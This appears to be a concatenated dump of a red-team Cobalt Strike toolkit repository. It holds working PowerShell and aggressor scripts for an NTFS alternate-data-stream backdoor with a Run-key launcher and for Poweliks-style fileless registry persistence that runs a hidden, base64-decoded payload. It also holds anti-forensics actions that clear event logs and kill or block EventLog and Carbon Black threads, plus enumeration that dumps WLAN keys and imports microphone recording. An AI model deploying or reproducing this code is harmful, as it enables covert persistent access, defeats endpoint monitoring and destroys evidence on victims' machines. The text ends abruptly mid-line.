[Parameter(Mandatory=$True)] 24 | [string]$cobaltstrike_gen_payload, 25 | 26 | [Parameter(Mandatory=$False)] 27 | [switch]$admin, 28 | 29 | [Parameter(Mandatory=$False)] 30 | [string]$RegKeyName, 31 | 32 | [Parameter(Mandatory=$False)] 33 | [string]$backdoored_file_path 34 | ) 35 | if (!$RegKeyName) { 36 | Write-Host "Registry key name not provided, defaulting to 'Update'" 37 | $RegKeyName = "Update" 38 | } 39 | 40 | if (!$backdoored_file_path) { 41 | Write-Host "Path to file to backdoor not provided, defaulting to '$env:USERPROFILE\AppData'" 42 | $backdoored_file_path = "$env:USERPROFILE\AppData" 43 | } 44 | 45 | if ($admin){ 46 | $keyhive = "HKLM" 47 | } else { 48 | $keyhive = "HKCU" 49 | } 50 | 51 | $backdoored_file_path = [System.Environment]::ExpandEnvironmentVariables($backdoored_file_path) 52 | 53 | $payload = $cobaltstrike_gen_payload 54 | $payload_adsfile_name = [System.IO.Path]::GetRandomFileName() + ".vbs" 55 | $wrapper_adsfile_name = [System.IO.Path]::GetRandomFileName() + ".vbs" 56 | 57 | $vbstext1 = "Dim objShell" 58 | $vbstext2 = "Set objShell = WScript.CreateObject(""WScript.Shell"")" 59 | $vbstext3 = "command = ""cmd /C for /f """"delims=,"""" %i in ($backdoored_file_path" + ":" + "$payload_adsfile_name) do %i""" #TODO: change the path to a proper variable 60 | $vbstext4 = "objShell.Run command, 0" 61 | $vbstext5 = "Set objShell = Nothing" 62 | $vbText = $vbstext1 + ":" + $vbstext2 + ":" + $vbstext3 + ":" + $vbstext4 + ":" + $vbstext5 63 | 64 | $backADSFile = "$backdoored_file_path" + ":$payload_adsfile_name" 65 | $wrapADSFile = "$backdoored_file_path" + ":$wrapper_adsfile_name" 66 | 67 | $createPayloadADS = {cmd /C "echo $payload > `"$backADSFile`""} 68 | $createWrapperADS = {cmd /C "echo $vbtext > `"$wrapADSFile`""} 69 | 70 | Invoke-Command -ScriptBlock $createPayloadADS 71 | Invoke-Command -ScriptBlock $createWrapperADS 72 | 73 | $backCommand = "wscript.exe " + "`"$backdoored_file_path" + ":$wrapper_adsfile_name`"" 74 | New-ItemProperty -Path $keyhive":\Software\Microsoft\Windows\CurrentVersion\Run" -Name $RegKeyName -PropertyType String -Value $backCommand -Force 75 | Write-Host "Backdoor Deployed, details provided below; take notes:" 76 | Write-Host "Reg key path:" $keyhive":\Software\Microsoft\Windows\CurrentVersion\Run\$RegKeyName" 77 | Write-Host "Payload path: $backADSFile" 78 | Write-Host "Wrapper path: $wrapADSFile" 79 | } 80 | -------------------------------------------------------------------------------- /kits/EnumKit/EnumKit.cna: -------------------------------------------------------------------------------- 1 | # Actions in this kit center around host and network enumeration. Credential enumeration actions should go in CredKit instead. 2 | # @Und3rf10w 3 | 4 | sub run_bloodhound { 5 | # Credits to Zack Henson for BloodHound implementation 6 | $bid = $1; 7 | binput($bid, "powershell-import " . script_resource("EnumKit/scripts/BloodHound.ps1")); 8 | bpowershell_import($bid, script_resource("EnumKit/scripts/BloodHound.ps1")); 9 | prompt_text("Insert BloodHound Ingestion URL", "http://127.0.0.1:7474", { 10 | $BloodHoundURI = $1; 11 | }); 12 | prompt_text("Insert BloodHound Ingestion Username:Password", "user:password", { 13 | binput($bid, "powershell Invoke-BloodHound -URI $BloodHoundURI -UserPass \"$1\" "); 14 | bpowershell($bid, "Invoke-BloodHound -URI $BloodHoundURI -UserPass \"$1\" "); 15 | }); 16 | } 17 | 18 | popup beacon_bottom { 19 | menu "EnumKit" { 20 | menu "PowerView"{ 21 | item "List accessible shares"{ 22 | local('$bid'); 23 | foreach $bid ($1){ 24 | binput($1, "powershell-import PowerView.ps1"); 25 | bpowershell_import($1, script_resource("EnumKit/scripts/PowerView.ps1")); 26 | binput($1, "powershell Invoke-ShareFinder -CheckShareAccess"); 27 | bpowershell($1, "Invoke-ShareFinder -CheckShareAccess"); 28 | } 29 | } 30 | } 31 | item "Determine Architecture (64 vs 32)" { 32 | local('$bid'); 33 | foreach $bid ($1){ 34 | binput($1, "Get OS Architecture"); 35 | bshell($1, "wmic os get osarchitecture"); 36 | } 37 | } 38 | item "Show Host Uptime" { 39 | local('$bid'); 40 | foreach $bid ($1){ 41 | binput($1, "Get Host Uptime"); 42 | bpowershell($1, "net statistics server| Select-String \"Statistics since\""); 43 | } 44 | } 45 | item "List WLAN Profiles"{ 46 | local('$bid'); 47 | foreach $bid ($1){ 48 | binput($1, "shell netsh wlan show profiles name=\"*\" key=clear"); 49 | bshell($1, "netsh wlan show profiles name=\"*\" key=clear"); 50 | } 51 | } 52 | item "Is User Local Admin?"{ 53 | local('$bid'); 54 | foreach $bid ($1){ 55 | binput($1, "powershell Is-UserLocalAdmin"); 56 | bpowershell($1, "([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] \"Administrator\")"); 57 | } 58 | } 59 | item "ipinfo.io Check"{ 60 | local('$bid'); 61 | foreach $bid ($1){ 62 | binput($1, "powershell (New-Object System.Net.WebClient).DownloadString(\"http://ipinfo.io\")"); 63 | bpowershell($1, "(New-Object System.Net.WebClient).DownloadString(\"http://ipinfo.io\")"); 64 | } 65 | } 66 | item "List Installed Applications"{ 67 | local('$bid'); 68 | foreach $bid ($1){ 69 | binput($1, "shell wmic product get Name,Version,Description /format:csv"); 70 | bshell($1, "wmic product get Name,Version,Description /format:csv"); 71 | } 72 | } 73 | item "Import Get-MicrophoneAudio"{ 74 | local('$bid'); 75 | foreach $bid ($1){ 76 | binput($1, "powershell-import Get-MicrophoneAudio.ps1"); 77 | bpowershell_import($1, script_resource("EnumKit/scripts/Get-MicrophoneAudio.ps1")); 78 | blog($1, "Once imported, run \c8Get-Help Get-MicrophoneAudio -full\c0 for full usage instructions"); 79 | } 80 | } 81 | menu "Carbon Black"{ 82 | item "Get CB Server Location"{ 83 | local('$bid'); 84 | foreach $bid ($1){ 85 | binput($1, "shell type C:\\Windows\\CarbonBlack\\Sensor.LOG | findstr SensorBackendServer"); 86 | bshell($1, "type C:\\Windows\\CarbonBlack\\Sensor.LOG | findstr SensorBackendServer"); 87 | } 88 | } 89 | } 90 | menu "BloodHound"{ 91 | item "Run BloodHound"{ 92 | local('$bid'); 93 | foreach $bid ($1){ 94 | run_bloodhound($bid); 95 | } 96 | } 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /kits/AntiForensicsKit/AntiForensicsKit.cna: -------------------------------------------------------------------------------- 1 | # Actions in this kit center around antiforensics. If it slows an investigator down, it likely belongs in this kit. We all know antiforensics is best forensics 2 | # @Und3rf10w 3 | 4 | popup beacon_bottom { 5 | menu "AntiForensicsKit" { 6 | menu "Event Log Management" { 7 | item "Clear System Event Logs (psh)"{ 8 | local('$bid'); 9 | foreach $bid ($1){ 10 | binput($1, "powershell gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog"); 11 | bpowershell($1, "gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog"); 12 | } 13 | } 14 | item "Stop Windows Event Collector svc"{ 15 | local('$bid'); 16 | foreach $bid ($1){ 17 | binput($1, "sc stop wecsvc"); 18 | bshell($1, "sc stop wecsvc"); 19 | } 20 | } 21 | item "Check VM" { 22 | local('$bid'); 23 | foreach $bid ($1){ 24 | binput($1, "powershell-import Check-VM.ps1"); 25 | bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Check-VM.ps1")); 26 | binput($1, "powershell Check-VM"); 27 | bpowershell($1, "Check-VM"); 28 | } 29 | } 30 | item "Kill Event Log Threads with Invoke-Phant0m" { 31 | local('$bid'); 32 | foreach $bid ($1){ 33 | binput($1, "powershell-import Invoke-Phant0m.ps1"); 34 | bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Invoke-Phant0m.ps1")); 35 | binput($1, "powershell Invoke-Phant0m -processname eventlog -threadfilter evt"); 36 | bpowershell($1, "Invoke-Phant0m -processname eventlog -threadfilter evt"); 37 | } 38 | } 39 | } 40 | menu "Prefetch Management" { 41 | item "Disable Prefetch" { 42 | local('$bid'); 43 | foreach $bid ($1) { 44 | bshell($bid,'REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnablePrefetcher" /t REG_DWORD /F /D "0"'); 45 | bshell($bid,'REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnableSuperfetcher" /t REG_DWORD /F /D "0"'); 46 | #bshell($1,'net stop eventlog /f'); 47 | } 48 | } 49 | item "Enable Prefetch" { 50 | local('$bid'); 51 | foreach $bid ($1) { 52 | bshell($bid,'REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnablePrefetcher" /t REG_DWORD /F /D "3"'); 53 | bshell($bid,'REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnableSuperfetcher" /t REG_DWORD /F /D "1"'); 54 | } 55 | } 56 | } 57 | menu "Carbon Black" { 58 | item "Block Carbon Black (<= 7.2.3P2)"{ 59 | local('$bid'); 60 | foreach $bid ($1) { 61 | openOrActivate($bid); 62 | bpowershell_import($bid, script_resource("AntiForensicsKit/scripts/Block-CarbonBlack.ps1")); 63 | binput($bid, "powershell Block-CarbonBlack"); 64 | bpowershell($bid, "Block-CarbonBlack"); 65 | } 66 | } 67 | item "Restore Carbon Black"{ 68 | local('$bid'); 69 | foreach $bid ($1) { 70 | openOrActivate($bid); 71 | bpowershell_import($bid, script_resource("AntiForensicsKit/scripts/Block-CarbonBlack.ps1")); 72 | binput($bid, "powershell Restore-CarbonBlack"); 73 | bpowershell($bid, "Restore-CarbonBlack"); 74 | } 75 | } 76 | item "Kill Carbon Black Threads with Invoke-Phant0m" { 77 | local('$bid'); 78 | foreach $bid ($1){ 79 | binput($1, "powershell-import Invoke-Phant0m.ps1"); 80 | bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Invoke-Phant0m.ps1")); 81 | binput($1, "powershell Invoke-Phant0m -processname CarbonBlack -threadfilter cb"); 82 | bpowershell($1, "Invoke-Phant0m -processname CarbonBlack -threadfilter cb"); 83 | } 84 | } 85 | 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /Reports/knightlab-timeline.rpt: -------------------------------------------------------------------------------- 1 | # This is an extremely ghetto way to create a report that is properly formatted for usage in Knight lab's Timeline (https://timeline.knightlab.com/) utility. It needs a lot of work. 2 | # When you go to make the report, it doesn't matter where or what you save it as, it will just make an empty report and the actual csv will be in writetome.csv 3 | # This would probably be better as a standard aggressor script, and not as a report script. 4 | # Look at the block of else if statements if you want to modify what is included in the output. Note that to my knowledge, there is no way to obfuscate credentials in this report. 5 | # - Und3rf10w 6 | 7 | report "Knightlab Timeline CSV" { 8 | landscape(); 9 | page "first"{ 10 | br(); 11 | } 12 | 13 | page "rest"{ 14 | $handle = openf(">writetome.csv"); 15 | println($handle, "Year,Month,Day,Time,End Year,End Month,End Day,End Time,Display Date,Headline,Text,Media,Media Credit,Media Caption,Media Thumbnail,Type,Group,Background"); 16 | println($handle, ",,,,,,,,,Session Timeline,This timeline describes the activity performed by our Red Team Operators for this campaign,,,,,title,,"); 17 | filter(lambda({ 18 | local('$bid $session %temp'); 19 | $bid = $1['bid']; 20 | 21 | if ($bid ne "" && $bid in %sessions) { 22 | $session = %sessions[$bid]; 23 | } 24 | 25 | 26 | # Create new row 27 | %temp = %(); 28 | %temp['Year'] = formatDate($1['when'], 'yyyy'); 29 | %temp['Month'] = formatDate($1['when'], 'M'); 30 | %temp['Day'] = formatDate($1['when'], 'd'); 31 | %temp['Time'] = formatDate($1['when'], 'H:m:s'); 32 | #./%temp['Time'] = ","; 33 | %temp['End Year'] = formatDate($1['when'], 'yyyy'); 34 | %temp['End Month'] = formatDate($1['when'], 'M'); 35 | %temp['End Day'] = formatDate($1['when'], 'd'); 36 | %temp['End Time'] = formatDate($1['when'], 'H:m:s'); 37 | # %temp['End Time'] = ","; 38 | # %temp['Display Date'] = formatTime($1['when']); 39 | 40 | if ($1['type'] eq "sendmail_start") { 41 | %temp['Headline'] = "Start of phishing campaign: " . $1['subject']; 42 | } 43 | else if ($1['type'] eq "sendmail_post") { 44 | %temp['Headline'] = "Email sent to " . agTokenToEmail($aggr, $1['token']) . ": " . $1['status']; 45 | } 46 | else if ($1['type'] eq "webhit"){ 47 | if ('token' in $1) { 48 | %temp['Headline'] = "Hit by: " . agTokenToEmail($aggr, $1['token']); 49 | } 50 | else { 51 | %temp['Headline'] = "Web server visit"; 52 | %temp['Text'] = "Visit to " . $1['data']; 53 | 54 | } 55 | } 56 | else if ($1['type'] eq "notify"){ 57 | continue; 58 | } 59 | else if ($1['type'] eq "beacon_initial"){ 60 | if ($session['pbid'] ne ''){ 61 | %temp['Headline'] = "Pivot to: " . $session['computer'] . " From: " . %sessions[$session['pbid']]['computer']; 62 | } 63 | else { 64 | %temp['Headline'] = "New Session on host: " . $session['computer']; 65 | } 66 | %temp['Text'] = "[*] User: " . $session['user'] . " [*] IP: " . $session['internal']; 67 | } 68 | else if ($1['type'] eq "checkin"){ 69 | continue; 70 | } 71 | else if ($1['type'] eq "input"){ 72 | %temp['Headline'] = "Action performed on: " . $session['computer']; 73 | %temp['Text'] = $1['data']; 74 | } 75 | else if ($1['type'] eq "task"){ 76 | %temp['Headline'] = "Action performed on: " . $session['computer']; 77 | %temp['Text'] = $1['data']; 78 | } 79 | else if ($1['type'] eq "output"){ 80 | continue; 81 | } 82 | else { 83 | continue; 84 | } 85 | println($handle, %temp['Year'] . "," . %temp['Month'] . "," . %temp['Day'] . "," . %temp['Time'] .",". %temp['End Year'] . "," . %temp['End Month'] . "," . %temp['End Day'] . "," . %temp['End Time'] . "," . %temp['Headline'] . "," . %temp['Text'] . ",,,,,,"); 86 | }, %sessions => agSessionsById($3), $aggr => $3), agArchives($3)); 87 | } 88 | println("Report Generated"); 89 | closef($handle); 90 | } 91 | 92 | -------------------------------------------------------------------------------- /kits/PersistKit/scripts/Persist-Poweliks.ps1: -------------------------------------------------------------------------------- 1 | function Persist-Poweliks{ 2 | <# 3 | .SYNOPSIS 4 | This script adds a "fileless backdoor" in a similar manner seen by the Poweliks malware. 5 | Author: Jonathan Echavarria (@Und3rf10w) 6 | 7 | .DESCRIPTION 8 | This function creates a registry key with the name of "", that contains an entry named "", that contains a passed base64ed powershell command (payload). 9 | In addition, a run key entry is created named "" at "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" 10 | that executes the stored payload. 11 | 12 | For more information, see: https://isc.sans.edu/forums/diary/20823 13 | 14 | .EXAMPLE 15 | PS C:\> Persist-Poweliks -cobaltstrike_gen_payload 16 | #> 17 | 18 | [CmdletBinding()] 19 | Param( 20 | [Parameter(Mandatory=$True)] 21 | [string]$cobaltstrike_gen_payload 22 | ) 23 | [Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n 24 | $malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary) 25 | 26 | $powershell_path = "$PSHome\powershell.exe" 27 | 28 | #Write the malformed registry key 29 | new-item -path "HKLM:SOFTWARE\$malformed_string" -force 30 | 31 | #Write the powershell bytecode to a key, $malformed_string, in HKLM:SOFTWARE\$malformed_string 32 | new-ItemProperty -path "HKLM:SOFTWARE\$malformed_string" -name "$malformed_string" -value "$cobaltstrike_gen_payload" 33 | 34 | # Double powershell method (will have 2 instances of powershell running) 35 | # New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; $powershell_path -windowstyle hidden -ec `$val`"" 36 | 37 | # Single powershell method (will have one instance of powershell.exe running) 38 | New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; `$d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String(`$val)); iex `$d`"" 39 | } 40 | 41 | 42 | function Test-Poweliks{ 43 | <# 44 | .DESCRIPTION 45 | This function checks for the presence of a backdoor that would have been added by the Persist-Poweliks function 46 | 47 | .EXAMPLE 48 | PS C:\> Test-Poweliks 49 | #> 50 | 51 | [Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n 52 | $malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary) 53 | 54 | if (Test-Path "HKLM:\SOFTWARE\$malformed_string") { 55 | echo "[*] Backdoor exists" 56 | } else { 57 | echo "[!] No backdoor present" 58 | } 59 | if (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "$malformed_string") { 60 | echo "[*] Launcher exists" 61 | } else { 62 | echo "[!] No launcher present" 63 | } 64 | } 65 | 66 | function Remove-Poweliks{ 67 | <# 68 | .DESCRIPTION 69 | This function removes a backdoor added by the Persist-Poweliks function 70 | 71 | .EXAMPLE 72 | PS C:\> Remove-Poweliks 73 | #> 74 | [Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n 75 | $malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary) 76 | if (Test-Path "HKLM:\SOFTWARE\$malformed_string") { 77 | Remove-Item -Path "HKLM:\SOFTWARE\$malformed_string" 78 | echo "[*] Backdoor Removed" 79 | } else { 80 | echo "[!] Error Removing Backdoor (already removed?)" 81 | } 82 | 83 | if (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "$malformed_string") { 84 | Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name "$malformed_string" 85 | echo "[*] Launcher Removed" 86 | } else { 87 | echo "[!] Error Remove Launcher (already removed?)" 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /kits/AnnoyKit/scripts/annoySongs/Play-TetrisTune.ps1: -------------------------------------------------------------------------------- 1 | #Endless PowerShell Tetris tune 2 | #adapted from https://gist.github.com/XeeX/6220067 3 | #Taken from https://gist.github.com/SadProcessor/ 4 | function Play-TetrisTune(){ 5 | [console]::beep(658, 125) 6 | [console]::beep(1320, 500) 7 | [console]::beep(990, 250) 8 | [console]::beep(1056, 250) 9 | [console]::beep(1188, 250) 10 | [console]::beep(1320, 125) 11 | [console]::beep(1188, 125) 12 | [console]::beep(1056, 250) 13 | [console]::beep(990, 250) 14 | [console]::beep(880, 500) 15 | [console]::beep(880, 250) 16 | [console]::beep(1056, 250) 17 | [console]::beep(1320, 500) 18 | [console]::beep(1188, 250) 19 | [console]::beep(1056, 250) 20 | [console]::beep(990, 750) 21 | [console]::beep(1056, 250) 22 | [console]::beep(1188, 500) 23 | [console]::beep(1320, 500) 24 | [console]::beep(1056, 500) 25 | [console]::beep(880, 500) 26 | [console]::beep(880, 500) 27 | Start-Sleep -m 250 28 | [console]::beep(1188, 500) 29 | [console]::beep(1408, 250) 30 | [console]::beep(1760, 500) 31 | [console]::beep(1584, 250) 32 | [console]::beep(1408, 250) 33 | [console]::beep(1320, 750) 34 | [console]::beep(1056, 250) 35 | [console]::beep(1320, 500) 36 | [console]::beep(1188, 250) 37 | [console]::beep(1056, 250) 38 | [console]::beep(990, 500) 39 | [console]::beep(990, 250) 40 | [console]::beep(1056, 250) 41 | [console]::beep(1188, 500) 42 | [console]::beep(1320, 500) 43 | [console]::beep(1056, 500) 44 | [console]::beep(880, 500) 45 | [console]::beep(880, 500) 46 | Start-Sleep -m 500 47 | [console]::beep(1320, 500) 48 | [console]::beep(990, 250) 49 | [console]::beep(1056, 250) 50 | [console]::beep(1188, 250) 51 | [console]::beep(1320, 125) 52 | [console]::beep(1188, 125) 53 | [console]::beep(1056, 250) 54 | [console]::beep(990, 250) 55 | [console]::beep(880, 500) 56 | [console]::beep(880, 250) 57 | [console]::beep(1056, 250) 58 | [console]::beep(1320, 500) 59 | [console]::beep(1188, 250) 60 | [console]::beep(1056, 250) 61 | [console]::beep(990, 750) 62 | [console]::beep(1056, 250) 63 | [console]::beep(1188, 500) 64 | [console]::beep(1320, 500) 65 | [console]::beep(1056, 500) 66 | [console]::beep(880, 500) 67 | [console]::beep(880, 500) 68 | Start-Sleep -m 250 69 | [console]::beep(1188, 500) 70 | [console]::beep(1408, 250) 71 | [console]::beep(1760, 500) 72 | [console]::beep(1584, 250) 73 | [console]::beep(1408, 250) 74 | [console]::beep(1320, 750) 75 | [console]::beep(1056, 250) 76 | [console]::beep(1320, 500) 77 | [console]::beep(1188, 250) 78 | [console]::beep(1056, 250) 79 | [console]::beep(990, 500) 80 | [console]::beep(990, 250) 81 | [console]::beep(1056, 250) 82 | [console]::beep(1188, 500) 83 | [console]::beep(1320, 500) 84 | [console]::beep(1056, 500) 85 | [console]::beep(880, 500) 86 | [console]::beep(880, 500) 87 | Start-Sleep -m 500 88 | [console]::beep(660, 1000) 89 | [console]::beep(528, 1000) 90 | [console]::beep(594, 1000) 91 | [console]::beep(495, 1000) 92 | [console]::beep(528, 1000) 93 | [console]::beep(440, 1000) 94 | [console]::beep(419, 1000) 95 | [console]::beep(495, 1000) 96 | [console]::beep(660, 1000) 97 | [console]::beep(528, 1000) 98 | [console]::beep(594, 1000) 99 | [console]::beep(495, 1000) 100 | [console]::beep(528, 500) 101 | [console]::beep(660, 500) 102 | [console]::beep(880, 1000) 103 | [console]::beep(838, 2000) 104 | [console]::beep(660, 1000) 105 | [console]::beep(528, 1000) 106 | [console]::beep(594, 1000) 107 | [console]::beep(495, 1000) 108 | [console]::beep(528, 1000) 109 | [console]::beep(440, 1000) 110 | [console]::beep(419, 1000) 111 | [console]::beep(495, 1000) 112 | [console]::beep(660, 1000) 113 | [console]::beep(528, 1000) 114 | [console]::beep(594, 1000) 115 | [console]::beep(495, 1000) 116 | [console]::beep(528, 500) 117 | [console]::beep(660, 500) 118 | [console]::beep(880, 1000) 119 | [console]::beep(838, 2000) 120 | } 121 | -------------------------------------------------------------------------------- /webservice.sl: -------------------------------------------------------------------------------- 1 | # Sleep Webservice Utilities 2 | # 3 | # To use this: 4 | # include('webservice.sl'); 5 | # 6 | # debug(7 | 34) highly recommended 7 | # 8 | # Functions: 9 | # 10 | # $ post("url", %hash) 11 | # connects to "url", posts the data in the hash, returns a handle for reading 12 | # 13 | # % buildDataStructure("..."); 14 | # creates a sleep hash tree from the XML document. each node in the hash is: 15 | # name => string : tagname 16 | # text => string : raw content of the tag (may be a bunch of spaces) 17 | # attributes => hash : attributes for the tag 18 | # children => array : an array of nodes (with this same structure) 19 | # 20 | # childrenToHash(%element) 21 | # constructs a hash out of an element's children... uses the tagnames for the 22 | # keys and each element for the values. 23 | # 24 | # walkData(%data, %functions) 25 | # walks through %data, calls the function held by %functions["tagName"] when 26 | # a tag is encountered. Argument $1 to the function is the current node. 27 | # uses a postorder traversal; children left to right, parent 28 | # 29 | # printNice(%data); 30 | # pretty prints a sleep hash tree 31 | # 32 | # Dependencies: 33 | # 34 | # This code assumes the following jars are in your Java classpath: 35 | # 36 | # commons-codec-1.2.jar - http://archive.apache.org/dist/commons/codec/ 37 | # commons-httpclient-3.1.jar - http://hc.apache.org/downloads.cgi 38 | # commons-logging-api.jar - http://archive.apache.org/dist/commons/logging/binaries/ 39 | # commons-logging.jar - http://archive.apache.org/dist/commons/logging/binaries/ 40 | # jdom.jar - http://www.jdom.org 41 | # 42 | # Contact: 43 | # 44 | # Raphael Mudge (rsmudge@gmail.com) 45 | # 46 | # Release 15 Jul 08 47 | # 48 | 49 | import org.apache.commons.httpclient.HttpClient; 50 | import org.apache.commons.httpclient.HttpStatus; 51 | import org.apache.commons.httpclient.methods.PostMethod; 52 | 53 | import sleep.bridges.io.IOObject; 54 | 55 | import org.jdom.*; 56 | import org.jdom.input.*; 57 | 58 | sub post 59 | { 60 | local('$client $method $key $value $code'); 61 | $client = [new HttpClient]; 62 | $method = [new PostMethod: $1]; 63 | 64 | foreach $key => $value ($2) 65 | { 66 | [$method addParameter: $key, $value]; 67 | } 68 | 69 | $code = [$client executeMethod: $method]; 70 | 71 | if ($code != [HttpStatus SC_OK]) 72 | { 73 | throw "Method failed: " . [$method getStatusLine]; 74 | } 75 | 76 | return [SleepUtils getIOHandle: [$method getResponseBodyAsStream], $null]; 77 | } 78 | 79 | sub buildDataStructure 80 | { 81 | local('$builder $doc $buffer'); 82 | 83 | $buffer = allocate(strlen($1)); 84 | writeb($buffer, $1); 85 | closef($buffer); 86 | 87 | $builder = [new SAXBuilder]; 88 | $doc = [$builder build: [$buffer getInputStream]]; 89 | 90 | closef($buffer); 91 | 92 | return [{ 93 | local('$child %result'); 94 | 95 | %result["name"] = [$1 getName]; 96 | %result["text"] = [$1 getText]; 97 | %result["attributes"] = [{ 98 | local('$attr %result'); 99 | 100 | foreach $attr ([SleepUtils getArrayWrapper: $1]) 101 | { 102 | %result[[$attr getName]] = [$attr getValue]; 103 | } 104 | 105 | return %result; 106 | }: [$1 getAttributes]]; 107 | 108 | %result["children"] = @(); 109 | 110 | foreach $child ([SleepUtils getArrayWrapper: [$1 getChildren]]) 111 | { 112 | push(%result["children"], [$this: $child]); 113 | } 114 | 115 | return %result; 116 | }: [$doc getRootElement]]; 117 | } 118 | 119 | sub walkData 120 | { 121 | local('$child'); 122 | 123 | foreach $child ($1["children"]) 124 | { 125 | walkData($child, $2); 126 | } 127 | 128 | invoke($2, @($1), $1["name"]); 129 | } 130 | 131 | sub childrenToHash 132 | { 133 | local('$child %results'); 134 | 135 | foreach $child ($1["children"]) 136 | { 137 | %results[$child["name"]] = $child["text"]; 138 | } 139 | 140 | return %results; 141 | } 142 | 143 | sub printNice 144 | { 145 | local('$k $v $2'); 146 | 147 | if (-isarray $1) 148 | { 149 | foreach $k => $v ($1) 150 | { 151 | println("$2 $+ $k $+ :"); 152 | printNice($v, "$2 "); 153 | } 154 | } 155 | else if (-ishash $1) 156 | { 157 | foreach $k => $v ($1) 158 | { 159 | println("$2 $+ $k $+ :"); 160 | printNice($v, "$2 "); 161 | } 162 | } 163 | else 164 | { 165 | println("$2 $+ $1"); 166 | } 167 | } 168 | -------------------------------------------------------------------------------- /kits/PersistKit/PersistKit.cna: -------------------------------------------------------------------------------- 1 | # Actions in this kit center around endpoint persistence. Examples include backdoor service creation, backdoor process creation, etc 2 | # @Und3rf10w 3 | 4 | # Used for "Create Backdoor Service" action 5 | sub servicefilename { 6 | $servicebackdoorfilename = matches($1, '[\/](\w+\.\w+)$'); 7 | $servicebackdoorfilename = $servicebackdoorfilename[0]; 8 | return $servicebackdoorfilename; 9 | } 10 | 11 | # Menu-driven operation to create an NTFS Alternate Data Stream backdoor that 12 | # autoruns on boot. Does NOT require admin 13 | sub createADSBackdoor { 14 | $bid = $1; 15 | $selectedListener = $2; 16 | getADSRegName(); 17 | bpowershell_import($bid, script_resource("PersistKit/scripts/Invoke-ADSBackdoor.ps1")); 18 | prompt_text("Location of file/folder to give ADS (it must exist!)?", "%APPDATA%\\Temp\\somefile.txt", { 19 | # Encode shellcode for the stager 20 | $psPayload = powershell_encode_stager(shellcode($selectedListener)); 21 | $fullPsPayload = "powershell.exe -nop -w hidden -encodedcommand $psPayload"; 22 | binput($bid, "powershell-import Invoke-ADSBackdoor.ps1"); 23 | # $bid is actually an array, so use $bid[0] for -isadmin 24 | # Admitettly hacky way to avoid using lambda 25 | if (-isadmin $bid[0]){ 26 | blog($bid, "Beacon is admin, using HKLM hive, \Ubackdoor will execute for any user\U"); 27 | binput($bid, "powershell Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path $1 -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \" -admin"); 28 | bpowershell($bid, "Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path \" $+ $1 $+ \" -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \" -admin"); 29 | } else { 30 | blog($bid, "Beacon is not admin, using HKCU hive, \Ubackdoor will only execute for this user\U"); 31 | binput($bid, "powershell Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path $1 -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \""); 32 | bpowershell($bid, "Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path \" $+ $1 $+ \" -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \""); 33 | } 34 | }); 35 | } 36 | 37 | sub createFilelessBackdoor{ 38 | $bid = $1; 39 | $selectedListener = $2; 40 | openOrActivate($bid); 41 | $psPayload = powershell_encode_stager(shellcode($selectedListener)); 42 | binput($bid, "powershell-import Persist-Poweliks.ps1"); 43 | bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1")); 44 | binput($bid, "powershell Persist-Poweliks"); 45 | bpowershell($bid, "Persist-Poweliks -cobaltstrike_gen_payload \" $+ $psPayload $+ \""); 46 | } 47 | 48 | # Returns a string to use for the reg key name 49 | sub getADSRegName { 50 | prompt_text("Registry key name you'd like to use?", "Update", { 51 | $theADSRegName = $1; 52 | }); 53 | return $theADSRegName; 54 | } 55 | 56 | popup beacon_bottom { 57 | menu "PersistKit" { 58 | item "Create Backdoor Service"{ 59 | local ('$bid'); 60 | # TODO: 61 | # * build out a proper Java Swing menu to customize the options 62 | foreach $bid ($1){ 63 | prompt_file_open("Select the service exe to use", $null, false, { 64 | blog($bid, "\c4Uploading backdoor 